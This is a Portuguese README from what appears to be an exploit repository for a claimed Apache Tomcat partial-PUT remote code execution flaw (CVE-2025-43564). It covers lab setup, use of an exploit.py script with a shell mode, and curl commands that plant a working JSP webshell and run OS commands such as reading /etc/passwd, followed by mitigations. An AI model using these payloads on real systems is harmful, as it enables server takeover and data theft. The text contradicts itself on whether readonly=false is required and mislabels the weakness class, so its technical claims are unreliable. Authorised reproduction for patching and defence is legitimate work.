
Reproduction of cve-2025-43564-tomcat_put_rce_reproduction
| Campo | Valor |
|---|---|
| ID do CVE | CVE-2025-43564 |
| Pontuação CVSS | 9.8 (CRÍTICA) |
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Download de Código Sem Verificação de Integridade |
| Exploração | Confirmada em ambiente real dentro de uma semana da divulgação |
| Divulgação | Julho de 2025 |
| Correção | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 é uma vulnerabilidade crítica de execução remota de código não autenticada no tratamento de solicitações PUT parciais HTTP do Apache Tomcat. A falha reside na forma como o Tomcat processa requisições PUT com conteúdo parcial (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked com semântica parcial). Um atacante pode criar uma requisição PUT parcial que contorna os controles de acesso e as restrições de escrita, permitindo o upload de arquivos arbitrários — incluindo webshells JSP acessíveis via web — para a raiz de documentos do servidor ou qualquer diretório gravável alcançável através do contexto do servlet.
Uma vez que um arquivo JSP é plantado, o atacante simplesmente o solicita e passa comandos do sistema operacional por meio de parâmetros de consulta, alcançando execução remota de código totalmente não autenticada como o usuário do processo Tomcat.
CVSS 9.8 — Crítico porque:
O DefaultServlet do Apache Tomcat e o conector HTTP/1.1 (NIO/NIO2/Apr) tratam requisições PUT para upload de recursos estáticos. A vulnerabilidade está na lógica de tratamento de requisições PUT parciais: quando um cliente envia um PUT com um cabeçalho Content-Range (RFC 7233 §4.2) ou usa codificação chunked com semânticas parciais específicas, o servidor não valida adequadamente:
O código de análise em org.apache.catalina.servlets.DefaultServlet e os componentes subjacentes HttpInput / SocketProcessorBase tratam incorretamente o limite entre escritas de conteúdo parcial e escritas completas de recursos, permitindo que um atacante adicione ou sobrescreva conteúdo arbitrário em qualquer caminho ao qual o processo Tomcat tenha acesso de escrita.
Atacante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[Payload de bytes JSP]
└──► Servidor escreve conteúdo parcial em exec.jsp
sem validação completa do caminho alvo
Atacante ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executa → RCE
O atacante envia um PUT parcial com um cabeçalho Content-Range que faz o Tomcat acreditar que a requisição é uma continuação de um upload existente. O servidor cria ou abre o arquivo alvo e escreve os bytes fornecidos sem verificar se o arquivo já existe, sem checar permissões de escrita no momento da escrita e sem sanitizar o caminho alvo em relação à raiz web.
readonly=false no DefaultServlet para que o PUT padrão funcione. O caminho de PUT parcial ignora essa verificação sob certas condições.Content-Range frequentemente evade essas assinaturas.Nota: Ramos mais antigos (7.x, 8.x, 8.5.x, 10.0.x) estão em fim de vida (EOL) e não receberão backport. Os usuários devem atualizar para um ramo suportado.
Baixe um Apache Tomcat vulnerável (por exemplo, Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Extraia e inicie o Tomcat com a configuração padrão:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # ou startup.bat no Windows
Verifique se o servidor está rodando:
curl -v http://localhost:8080
Faça upload do webshell JSP usando o script PoC:
python exploit.py --target http://localhost:8080 --cmd id
Verifique se o webshell foi plantado:
curl http://localhost:8080/exec.jsp?cmd=whoami
Execute comandos arbitrários:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Sessão interativa (se desejado):
python exploit.py --target http://localhost:8080 --shell
O exploit.py incluído é um PoC funcional em Python que:
Content-Type e a estrutura do payload acionam o caminho de código vulnerávelwebapps/ROOT/)exec.jsp?cmd=<comando> para executar comandos do SO--cmd) e shell interativo (--shell)# Passo 1: Carregar o webshell via PUT parcial
# O cabeçalho Content-Range aciona o caminho de código vulnerável
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Passo 2: Executar comandos
curl "http://localhost:8080/exec.jsp?cmd=id"
Se o Tomcat estiver configurado com readonly=true (padrão), o PUT padrão é bloqueado — mas o caminho de PUT parcial ainda pode ter sucesso. Este é o cerne da vulnerabilidade.
# PUT padrão (deve falhar com 403 ou 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Esperado: 403 Forbidden
# PUT parcial (contorna a verificação)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Esperado: 201 Created ou 200 OK
Atualize o Tomcat para a versão corrigida:
Se a correção imediata não for possível, desabilite o método PUT globalmente editando o web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Bloqueie métodos HTTP no proxy reverso / WAF:
# exemplo nginx — bloquear PUT
if ($request_method = PUT) {
return 403;
}
Nota: Isso só ajuda se o proxy não for contornável.
Execute o Tomcat com permissões restritas do sistema de arquivos:
webapps somente leitura (ou monte-o a partir de um sistema de arquivos somente leitura)ReadOnly em ativos de produçãoMonitore arquivos inesperados com extensões .jsp / .jspx na raiz web.
Este repositório é fornecido apenas para fins educacionais e de teste de segurança autorizado. Você deve ter permissão explícita por escrito do proprietário de qualquer sistema que testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em outras jurisdições. Os autores não assumem nenhuma responsabilidade pelo uso indevido destas informações.
CVE-2025-43564 foi descoberta e relatada de forma responsável à Equipe de Segurança da Apache. Lançamento coordenado da correção: Julho de 2025.
| Produto | Versões Afetadas | Corrigido Em |
|---|
| Apache Tomcat 11 | 11.0.0-M1 até 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 até 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | todas as versões (fim de vida) | atualizar para 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 até 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | todas as versões (fim de vida) | atualizar para 9.0.x |
| Apache Tomcat 8 | todas as versões (fim de vida) | atualizar para 9.0.x |
| Apache Tomcat 7 | todas as versões (fim de vida) | atualizar para 9.0.x |
| Fonte | URL |
|---|
| Anúncio de Segurança Apache Tomcat | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Downloads Apache Tomcat | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |